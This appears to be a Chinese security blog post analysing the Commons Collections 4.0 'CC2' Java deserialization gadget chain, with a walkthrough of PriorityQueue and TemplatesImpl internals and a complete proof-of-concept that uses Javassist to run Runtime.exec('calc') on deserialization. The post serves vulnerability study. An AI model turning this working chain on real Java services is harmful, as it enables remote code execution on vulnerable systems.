commons-collections2(cc2)反序列化链分析

最新推荐文章于 2024-07-08 17:50:45 发布

Matat4

最新推荐文章于 2024-07-08 17:50:45 发布

阅读量3.2k

点赞数 3

分类专栏： java安全 java cc链文章标签： java 反序列化

本文链接：https://blog.csdn.net/weixin_54648419/article/details/122911910

版权

java安全同时被 3 个专栏收录

15 篇文章 6 订阅

订阅专栏

java

9 篇文章 1 订阅

订阅专栏

cc链

3 篇文章 0 订阅

订阅专栏

commons-collections2

大的思路是将恶意参数放到TemplatesImpl类中的_bytecodes属性中，反射构造PriorityQueue队列的comparator和queue两个字段，将PriorityQueue队列的comparator字段设置为TransformingComparator(和cc1有点像的地方)，然后将queue字段设置为TemplatesImpl对象，执行触发利用链。

环境配置

jdk1.7.80
Commons Collections 4.0

    <dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
    </dependency>
    </dependencies>

知识

javassit

Java 字节码以二进制的形式存储在 .class 文件中，每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象，通过完全手动的方式。
Java安全之Javassist动态编程
 10-java安全基础——javassist字节码编程

编程常用的类：

ClassPool：ClassPool 类可以控制的类的字节码，例如创建一个类或加载一个类，与 JVM 类装载器类似
CtClass： CtClass提供了类的操作，如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法
CtField：类的属性，通过它可以给类创建新的属性，还可以修改已有的属性的类型，访问修饰符等
CtMethod：表示类中的方法，通过它可以给类创建新的方法，还可以修改返回类型，访问修饰符等， 甚至还可以修改方法体内容代码
CtConstructor：用于访问类的构造，与CtMethod类的作用类似

PriorityQueue

实现了Queue接口，通过堆实现，具体说是通过二叉小顶堆实现在数列中对元素的操作

构造方法:

PriorityQueue()           
	使用默认的初始容量（11）创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。

常见方法：

add(E e)           			将指定的元素插入此优先级队列
clear()            			从此优先级队列中移除所有元素。
comparator()       			返回用来对此队列中的元素进行排序的比较器；如果此队列根据其元素的自然顺序进行排序，则返回 null
contains(Object o)          如果此队列包含指定的元素，则返回 true。
iterator()           		返回在此队列中的元素上进行迭代的迭代器。
offer(E e)           		将指定的元素插入此优先级队列
peek()           			获取但不移除此队列的头；如果此队列为空，则返回 null。
poll()           			获取并移除此队列的头，如果此队列为空，则返回 null。
remove(Object o)           	从此队列中移除指定元素的单个实例（如果存在）。
size()           			返回此 collection 中的元素数。
toArray()          			返回一个包含此队列所有元素的数组。

原理分析

ysoserial中给出的链

ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

从java.util.PriorityQueue类中的readObject方法开始

在这里插入图片描述

首先是调用默认的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件进行反序列化去读取数据，然后调用 ObjectInputStream.readInt() 方法读取优先级队列的长度，queue[i]的值是由s.readObject()得到，这里是在writeObject()处写入了对应的内容
在这里插入图片描述
这里可以通过反射来设置queue[i]的值，也就是queue[i]的值是可控的(queue[i]字段用来写入TemplatesImpl对象)。最后进入heapify()方法中

进入for循环需要一个条件，size >>> 1，也就是对size进行了右移位操作，那么就是size>1的时候才会进入循环，继续跟进siftDown()
在这里插入图片描述

这里的x即为queue[i]，跟进siftDownUsingComparator方法。
在这里插入图片描述

这里x就是我们传入的queue[i]，而这里的comparator接口调用了TransformingComparator中重写的compare方法
在这里插入图片描述
这里调用了this.transformer的transform方法，跟进去，input就是前面的obj1，this.iMethodName的值为传入的newTransformer

因为newTransformer方法中调用到了getTransletInstance方法

继续跟到getTransletInstance方法中，如果_name不为空(通过反射将_name属性设置为恶意类TestTemplatesImpl的类名)，_class为空，则调用defineTransletClasses方法
在这里插入图片描述
继续跟进defineTransletClasses方法，通过loader.defineClass还原class对象，判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。这里必须继承类，否则_transletIndex值默认为-1

在这里插入图片描述

给_transletIndex赋值后，返回到getTransletInstance方法，创建_class[_transletIndex]的对象，即创建恶意类的对象，那么该类中的static代码就会执行。
在这里插入图片描述

poc分析

这条链补完整的化应该是这样。

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

pocpocpoc

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化，设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组，内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

第一部分

  ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

创建动态类、设置父类、添加命令执行内容。这里设置必须设置父类的原因前面也有提到，如果没有继承的话，_transletIndex索引的值默认为-1，那么getTransletInstance方法中_class属性调用newInstance方法实例化类的时候就会失败，也就无法成功命令执行

第二部分

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

反射获取_bytecodes的值，设置为转换后的payload的字节码，因为有load.defineclass还原class的操作，这里也就通过反射改想要执行命令的地方。_name也是一样的方式，这里设置为test。

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

用InvokerTransformer方法调用newTransformer，再用TransformingComparator的compare方法会去调用传入参数的transform方法，而满足compare的办法就需要用到PriorityQueue来实现了。

PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

这里add两个1是为了满足heapify()中的(int i = (size >>> 1) - 1; i >= 0; i--)，这样经过计算刚好为0，满足条件

第四部分

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue为Object[]数组，内容为两个内置恶意代码的TemplatesImpl实例化对象。这样调用heapify方法里面的时候就会进行传参进去。

参考Java安全之Commons Collections2分析
 参考8-java安全——java反序列化CC2链分析

Matat4

关注

3
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录